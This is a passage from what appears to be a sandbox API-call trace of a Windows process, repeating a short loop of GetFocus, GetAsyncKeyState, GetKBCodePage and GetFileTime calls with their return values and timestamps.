lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.138] GetFocus () returned 0x0 [0250.138] GetAsyncKeyState (vKey=58) returned 0 [0250.138] GetKBCodePage () returned 0x1b5 [0250.138] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.138] GetFocus () returned 0x0 [0250.138] GetAsyncKeyState (vKey=58) returned 0 [0250.138] GetKBCodePage () returned 0x1b5 [0250.138] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.138] GetFocus () returned 0x0 [0250.138] GetAsyncKeyState (vKey=58) returned 0 [0250.138] GetKBCodePage () returned 0x1b5 [0250.138] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.138] GetFocus () returned 0x0 [0250.138] GetAsyncKeyState (vKey=58) returned 0 [0250.138] GetKBCodePage () returned 0x1b5 [0250.138] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.138] GetFocus () returned 0x0 [0250.138] GetAsyncKeyState (vKey=58) returned 0 [0250.138] GetKBCodePage () returned 0x1b5 [0250.138] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.138] GetFocus () returned 0x0 [0250.138] GetAsyncKeyState (vKey=58) returned 0 [0250.138] GetKBCodePage () returned 0x1b5 [0250.138] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.139] GetFocus () returned 0x0 [0250.139] GetAsyncKeyState (vKey=58) returned 0 [0250.139] GetKBCodePage () returned 0x1b5 [0250.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.139] GetFocus () returned 0x0 [0250.139] GetAsyncKeyState (vKey=58) returned 0 [0250.139] GetKBCodePage () returned 0x1b5 [0250.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.139] GetFocus () returned 0x0 [0250.139] GetAsyncKeyState (vKey=58) returned 0 [0250.139] GetKBCodePage () returned 0x1b5 [0250.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.139] GetFocus () returned 0x0 [0250.139] GetAsyncKeyState (vKey=58) returned 0 [0250.139] GetKBCodePage () returned 0x1b5 [0250.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.139] GetFocus () returned 0x0 [0250.139] GetAsyncKeyState (vKey=58) returned 0 [0250.139] GetKBCodePage () returned 0x1b5 [0250.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.139] GetFocus () returned 0x0 [0250.139] GetAsyncKeyState (vKey=58) returned 0 [0250.139] GetKBCodePage () returned 0x1b5 [0250.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.139] GetFocus () returned 0x0 [0250.139] GetAsyncKeyState (vKey=58) returned 0 [0250.139] GetKBCodePage () returned 0x1b5 [0250.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.139] GetFocus () returned 0x0 [0250.139] GetAsyncKeyState (vKey=58) returned 0 [0250.139] GetKBCodePage () returned 0x1b5 [0250.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.139] GetFocus () returned 0x0 [0250.139] GetAsyncKeyState (vKey=58) returned 0 [0250.139] GetKBCodePage () returned 0x1b5 [0250.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.140] GetFocus () returned 0x0 [0250.140] GetAsyncKeyState (vKey=58) returned 0 [0250.140] GetKBCodePage () returned 0x1b5 [0250.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.140] GetFocus () returned 0x0 [0250.140] GetAsyncKeyState (vKey=58) returned 0 [0250.140] GetKBCodePage () returned 0x1b5 [0250.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.140] GetFocus () returned 0x0 [0250.140] GetAsyncKeyState (vKey=58) returned 0 [0250.140] GetKBCodePage () returned 0x1b5 [0250.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.140] GetFocus () returned 0x0 [0250.140] GetAsyncKeyState (vKey=58) returned 0 [0250.140] GetKBCodePage () returned 0x1b5 [0250.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.140] GetFocus () returned 0x0 [0250.140] GetAsyncKeyState (vKey=58) returned 0 [0250.140] GetKBCodePage () returned 0x1b5 [0250.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.140] GetFocus () returned 0x0 [0250.140] GetAsyncKeyState (vKey=58) returned 0 [0250.140] GetKBCodePage () returned 0x1b5 [0250.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.140] GetFocus () returned 0x0 [0250.140] GetAsyncKeyState (vKey=58) returned 0 [0250.140] GetKBCodePage () returned 0x1b5 [0250.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.140] GetFocus () returned 0x0 [0250.140] GetAsyncKeyState (vKey=58) returned 0 [0250.140] GetKBCodePage () returned 0x1b5 [0250.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.140] GetFocus () returned 0x0 [0250.140] GetAsyncKeyState (vKey=58) returned 0 [0250.140] GetKBCodePage () returned 0x1b5 [0250.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.140] GetFocus () returned 0x0 [0250.141] GetAsyncKeyState (vKey=58) returned 0 [0250.141] GetKBCodePage () returned 0x1b5 [0250.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.141] GetFocus () returned 0x0 [0250.141] GetAsyncKeyState (vKey=58) returned 0 [0250.141] GetKBCodePage () returned 0x1b5 [0250.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.141] GetFocus () returned 0x0 [0250.141] GetAsyncKeyState (vKey=58) returned 0 [0250.141] GetKBCodePage () returned 0x1b5 [0250.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.141] GetFocus () returned 0x0 [0250.141] GetAsyncKeyState (vKey=58) returned 0 [0250.141] GetKBCodePage () returned 0x1b5 [0250.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.141] GetFocus () returned 0x0 [0250.141] GetAsyncKeyState (vKey=58) returned 0 [0250.141] GetKBCodePage () returned 0x1b5 [0250.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.141] GetFocus () returned 0x0 [0250.141] GetAsyncKeyState (vKey=58) returned 0 [0250.141] GetKBCodePage () returned 0x1b5 [0250.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.141] GetFocus () returned 0x0 [0250.141] GetAsyncKeyState (vKey=58) returned 0 [0250.141] GetKBCodePage () returned 0x1b5 [0250.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.141] GetFocus () returned 0x0 [0250.141] GetAsyncKeyState (vKey=58) returned 0 [0250.141] GetKBCodePage () returned 0x1b5 [0250.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.141] GetFocus () returned 0x0 [0250.141] GetAsyncKeyState (vKey=58) returned 0 [0250.141] GetKBCodePage () returned 0x1b5 [0250.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.141] GetFocus () returned 0x0 [0250.141] GetAsyncKeyState (vKey=58) returned 0 [0250.141] GetKBCodePage () returned 0x1b5 [0250.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.142] GetFocus () returned 0x0 [0250.142] GetAsyncKeyState (vKey=58) returned 0 [0250.142] GetKBCodePage () returned 0x1b5 [0250.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.142] GetFocus () returned 0x0 [0250.142] GetAsyncKeyState (vKey=58) returned 0 [0250.142] GetKBCodePage () returned 0x1b5 [0250.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.142] GetFocus () returned 0x0 [0250.142] GetAsyncKeyState (vKey=58) returned 0 [0250.142] GetKBCodePage () returned 0x1b5 [0250.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.142] GetFocus () returned 0x0 [0250.142] GetAsyncKeyState (vKey=58) returned 0 [0250.142] GetKBCodePage () returned 0x1b5 [0250.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.142] GetFocus () returned 0x0 [0250.142] GetAsyncKeyState (vKey=58) returned 0 [0250.142] GetKBCodePage () returned 0x1b5 [0250.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.142] GetFocus () returned 0x0 [0250.142] GetAsyncKeyState (vKey=58) returned 0 [0250.142] GetKBCodePage () returned 0x1b5 [0250.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.142] GetFocus () returned 0x0 [0250.142] GetAsyncKeyState (vKey=58) returned 0 [0250.142] GetKBCodePage () returned 0x1b5 [0250.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.142] GetFocus () returned 0x0 [0250.142] GetAsyncKeyState (vKey=58) returned 0 [0250.142] GetKBCodePage () returned 0x1b5 [0250.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.142] GetFocus () returned 0x0 [0250.142] GetAsyncKeyState (vKey=58) returned 0 [0250.142] GetKBCodePage () returned 0x1b5 [0250.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.143] GetFocus () returned 0x0 [0250.143] GetAsyncKeyState (vKey=58) returned 0 [0250.143] GetKBCodePage () returned 0x1b5 [0250.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.143] GetFocus () returned 0x0 [0250.143] GetAsyncKeyState (vKey=58) returned 0 [0250.143] GetKBCodePage () returned 0x1b5 [0250.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.143] GetFocus () returned 0x0 [0250.143] GetAsyncKeyState (vKey=58) returned 0 [0250.143] GetKBCodePage () returned 0x1b5 [0250.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.143] GetFocus () returned 0x0 [0250.143] GetAsyncKeyState (vKey=58) returned 0 [0250.143] GetKBCodePage () returned 0x1b5 [0250.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.143] GetFocus () returned 0x0 [0250.143] GetAsyncKeyState (vKey=58) returned 0 [0250.143] GetKBCodePage () returned 0x1b5 [0250.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.143] GetFocus () returned 0x0 [0250.143] GetAsyncKeyState (vKey=58) returned 0 [0250.143] GetKBCodePage () returned 0x1b5 [0250.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.143] GetFocus () returned 0x0 [0250.143] GetAsyncKeyState (vKey=58) returned 0 [0250.143] GetKBCodePage () returned 0x1b5 [0250.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.143] GetFocus () returned 0x0 [0250.143] GetAsyncKeyState (vKey=58) returned 0 [0250.143] GetKBCodePage () returned 0x1b5 [0250.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.143] GetFocus () returned 0x0 [0250.143] GetAsyncKeyState (vKey=58) returned 0 [0250.143] GetKBCodePage () returned 0x1b5 [0250.143] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, 